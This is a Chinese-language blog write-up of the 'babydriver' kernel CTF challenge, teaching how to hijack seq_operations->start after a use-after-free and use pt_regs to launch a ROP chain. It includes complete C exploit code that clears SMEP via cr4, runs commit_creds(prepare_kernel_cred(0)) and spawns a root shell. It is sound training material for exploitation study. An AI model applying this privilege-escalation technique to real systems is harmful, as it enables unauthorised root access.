seq_operations搭配pt_regs的kernel利用手法

collectcrop Lv3

seq_operations搭配pt_regs的kernel利用手法

seq_operations简介

seq_operations 是 Linux 内核中的一个结构体(struct seq_operations),用于实现 seq_file 机制。seq_file 机制提供了一种统一的方式来访问可变长度的数据,主要用于 /proc 文件系统,以简化内核导出信息的操作。

struct seq_operations 主要包含以下函数指针:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • start:用于迭代的初始化,返回第一个数据项的指针。
  • stop:迭代结束时执行的清理工作。
  • next:返回下一个数据项的指针,并更新偏移量 pos
  • show:将数据格式化并写入 seq_file 结构。

在用户态执行open("/proc/self/stat",0);后,内核中的调用过程如下图所示:

内核中会调用single_open()函数,而该函数中会为struct seq_operations 结构体申请一段内存空间(0x20字节大小)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int single_open(struct file *file, int (*show)(struct seq_file *, void *),
void *data)
{
struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL);
int res = -ENOMEM;

if (op) {
op->start = single_start;
op->next = single_next;
op->stop = single_stop;
op->show = show;
res = seq_open(file, op);
if (!res)
((struct seq_file *)file->private_data)->private = data;
else
kfree(op);
}
return res;
}

open()操作后,用户态获得一个文件描述符fd。当用户态对该fd进行读操作read(fd,buf,size)时,在内核中会调用seq_operations->start函数指针,内核调用栈如下:

如果利用漏洞改掉结构体中的start函数指针,就能实现控制流劫持。

seq_operations 结构体中含有4个内核函数指针,我们可能借此进行地址的泄露,从而绕过kaslr。

pt_regs介绍

内核栈只有一个页面的大小,而 pt_regs 结构体则固定位于内核栈栈底,当我们劫持内核结构体中的某个函数指针时(例如 seq_operations->start),在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

所以如果我们提前先用汇编赋值各个寄存器的值,那么在syscall调用下陷到内核态时,内核栈底就会有我们提前布置的值,从而有可能劫持程序控制流,执行我们的rop链。

seq_operations搭配pt_regs

一般来说,我们可以把seq_operations->start改成一个gadget。一般而言是打开一个/proc/self/stat文件,然后利用漏洞改其中的值,然后用read方法读这个文件就能触发start函数指针,也就是执行我们的gadget。这个gadget形如add rsp,xxx;pop*n;ret,这种gadget能够使rsp抬高接近内核栈底,也就能够有机会降落到我们可以提前布置的rop链上。想要准确定位就要进行动态调试,为了更方便观察最后要改哪个值,我们可以用如下的这个板子。这样我们在调试时就能清晰看到哪个栈上的值对应我们的哪个寄存器了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;" // 走read系统调用
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);

例题:babydriver

init文件内容如下,都是一些常规的内容,我们可以把setuidgid后面的内容改为0从而以root用户启动方便调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

boot.sh文件内容如下,发现没开kaslr和kpti,开启了smep保护。这种情况其实我们可以通过改cr4寄存器来绕过smep,然后直接ret2usr:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 128M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s

现在我们看具有漏洞的模块babydriver.ko:

初始化函数注册了babydev设备。然后有orw以及ioctl控制函数。

这里我们发现babydev_struct是一个全局变量,即使我们打开多个设备文件,它们IO所用到的结构体都是一样的。这里的ioctl函数能够改变我们babydev_struct的大小,其内存是正常管理的,先free掉原来的结构体中的device_buf,然后又申请回来我们指定大小的buf,这里kmalloc的v4参数经过动调能发现是我们用户态调用ioctl的第三个参数(其实也可以从上面v4=v3,而v3又指向rdx看出来)。

比如我们如果ioctl第三个参数设置为0x20,然后里面kmalloc就是申请0x20大小的内存。kmalloc这里第二个参数是标志位。

相关的 GFP 标志定义在 include/linux/gfp.h,其中:

  • GFP_KERNEL = 0xC0
    • 允许进程 休眠等待内存(如果当前不可用)。
    • 适用于 非中断上下文,如 ioctl() 处理程序。
  • __GFP_ZERO = 0x80
    • 分配的内存全部初始化为 0,防止数据泄露。
  • __GFP_COMP = 0x4000
    • 允许返回 大块连续物理内存(用于 kmalloc() 以外的特殊情况)。
  • __GFP_NOWARN = 0x2000000
    • 分配失败时不打印警告信息,避免系统日志污染。

所以:

1
0x24000C0 = GFP_KERNEL | __GFP_ZERO | __GFP_COMP | __GFP_NOWARN

这意味着:

  1. 允许进程休眠等待内存(GFP_KERNEL)。
  2. 分配的内存自动清零(__GFP_ZERO)。
  3. 分配 可能大于 4KB,甚至跨多个页(__GFP_COMP)。
  4. 失败时不打印 warn__GFP_NOWARN)。

而在关闭设备文件时会调用的babyrelease就存在一个纯粹的UAF,我们那么就可以先创建逻辑上重叠的两个设备(因为其全局变量是共享的),然后用ioctl中的函数将babydev_struct的size改为0x20。那么之后我们如果再打开一个/proc/self/stat文件,由于申请的seq_operations结构体大小为0x20,kmalloc的规则又和fastbin堆块的分配有类似之处,都是从链表中取值,而且服从后入先出。那么我们的seq_operations结构体就会分配在原来我们释放的内存之上。这时候我们就可以用之前打开的另一个设备,使用write调用内核模块的babywrite函数,之后就可以改写seq_operations的各个字段了。这里我们只需要改seq_operations->start,那么就可以在对这个stat文件进行读操作时触发我们的payload,从而劫持程序执行流。

然后问题就来到了如何构造payload,先用如下exp进去动调看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// gcc exp.c -static -masm=intel  -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}


void get_shell(void){
system("/bin/sh");
}

size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t init_cred = 0xffffffff81e48c60;
size_t pop_rdi_ret = 0xffffffff810d238d;
size_t commit_creds = 0xffffffff810a1420;
size_t gadget = 0xffffffff8123105a; // add rsp, 0x108; pop rbx; pop rbp; ret;
size_t swapgs_pop_rbp_ret = 0xffffffff81063694;
size_t iretq = 0xffffffff814e35ef;
size_t mov_cr4_ret = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;

size_t temp_buf[4];
size_t fake_stack[20];
int seq_fd;
void get_root(){
void* (*pkc)(int) = prepare_kernel_cred;
int (*cc)(void*) = commit_creds;
(*cc)((*pkc)(0));
}

int main(void)
{
save_status();

int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0x20);
close(fd1);
seq_fd = open("/proc/self/stat",O_RDWR);

write(fd2,&gadget,8);

__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);

}

这里调试时需注意,我是打断点到babywrite然后一直执行恢复到用户态,在sysqret处会直接导致崩溃退出,但我们如果在write(fd2,&gadget,8);后面写其它语句其实还是会执行的,这说明这个情况下gdb无法通过sysretq跟踪回用户态。那我们只能直接在用户态空间打断点再进行跳转。不过更好的选择是直接打断点到sys_read,因为我们最后是用read的系统调用触发伪造的start函数指针的。

之后跟着sys_read->vfs_read->__vfs_read->seq_read走,最后到了一个位置会执行我们的写入start域的gadget,这时候我们可以观察最后更改rsp之后最后会ret到哪里,然后把对应模板的内容改成实际的rop链。

这里很可惜返回到的位置是8,也就是我们一开始的rdx的位置,而rdx我们需要正常使用,所以我们需要改变gadget,使最后能到连续的未被改变的寄存器的位置。比如底下的0x55555555,0x33333333,0x22222222等这么一段连续的位置布置rop链。比如现在add rsp,0x108加两个pop不行,那我想最后返回到0x55555555的位置,就需要找刚好可以到那个位置的gadget,其实也可以利用中间散的一些可控制的位置来换成add rsp较小的值这样的第二个gadget,这样会比较好凑。比如我还有个gadget1能add rsp,0x108;pop;pop;pop,那么刚好可以返回到0xbeefdead处,也就是我们要在r15处布置下一个改rsp的gadget,比如说add rsp,0x10加上3个pop,这个很容易找到。

但即使用了这个技巧,在这题环境下我也只能连续控制5个rop,而我们需要完成提权操作一般需要的rop长度较长。由于这题没开smap,我们所以可以考虑在用户态布置完整rop链,然后自定义一个缓冲区全局变量,记录其起始地址,并将其配合pop_rax_ret以及mov_rsp_rax_ret;之类的gadget实现栈迁移。然后就能执行任意长的rop链了。这里mov_rsp_rax_ret;这个gadget直接用ropper找我居然找不到,参考网上的一些exp,最后在vmlinux中自己定位找到了是存在error_entry函数末尾的部分。可能是因为有个跳转到retn的原因所以识别不出来。

最终exp如下,这里最后以经能执行我们的rop链提权了,但是最后还是会爆Segmentation fault,可能是一些寄存器被修改了的关系,但这并不影响我们获取shell,因为可以利用异常机制来捕获Segmentation fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// gcc exp.c -static -masm=intel  -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}


void get_shell(void){
system("/bin/sh");
}

size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t init_cred = 0xffffffff81e48c60;
size_t pop_rdi_ret = 0xffffffff810d238d;
size_t commit_creds = 0xffffffff810a1420;
size_t gadget = 0xffffffff816d749b; // add rsp, 0x108; pop rbx; pop r12; pop rbp; ret;
size_t gadget2 = 0xffffffff81003f6f; //add rsp, 0x10; pop rbx; pop r12; pop rbp; ret;

size_t pop_rax_ret = 0xffffffff8100ce6e;
size_t mov_rsp_rax_ret = 0xffffffff8181BFC5;
size_t swapgs_pop_rbp_ret = 0xffffffff81063694;
size_t iretq = 0xffffffff814e35ef;
size_t mov_cr4_ret = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
size_t fake_stack[20];
size_t fake_stack_addr = &fake_stack;
size_t temp_buf[4];

int seq_fd;
void get_root(){
void* (*pkc)(int) = prepare_kernel_cred;
int (*cc)(void*) = commit_creds;
(*cc)((*pkc)(0));
}

int main(void)
{
save_status();
signal(SIGSEGV, get_shell);
printf("fake_stack_addr: 0x%llx\n",fake_stack_addr);
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0x20);
close(fd1);
seq_fd = open("/proc/self/stat",0);

write(fd2,&gadget,8);

fake_stack[0] = pop_rdi_ret;
fake_stack[1] = 0x6f0;
fake_stack[2] = mov_cr4_ret;
fake_stack[3] = 0xffff; // rbp, padding
fake_stack[4] = get_root;
fake_stack[5] = swapgs_pop_rbp_ret;
fake_stack[6] = 0xffff; // rbp, padding
fake_stack[7] = iretq;
fake_stack[8] = get_shell;
fake_stack[9] = user_cs;
fake_stack[10] = user_rflags;
fake_stack[11] = user_sp;
fake_stack[12] = user_ss;
__asm__(
"mov r15, gadget2;"
"mov r14, 0x11111111;"
"mov r13, mov_rsp_rax_ret;" //0x22222222,3
"mov r12, fake_stack_addr;" //0x33333333,2
"mov rbp, 0x44444444;"
"mov rbx, pop_rax_ret;" //0x55555555,1
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);

}

成功提权!

参考资料:

  • https://blingblingxuanxuan.github.io/2023/01/10/23-01-10-kernel-pwn-useful-struct/
  • https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs/
  • https://blog.csdn.net/qq_61670993/article/details/133414825
  • 标题: seq_operations搭配pt_regs的kernel利用手法
  • 作者: collectcrop
  • 创建于 : 2025-03-16 23:55:38
  • 更新于 : 2025-03-17 00:06:14
  • 链接: https://collectcrop.github.io/2025/03/16/seq-operations搭配pt-regs的kernel利用手法/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。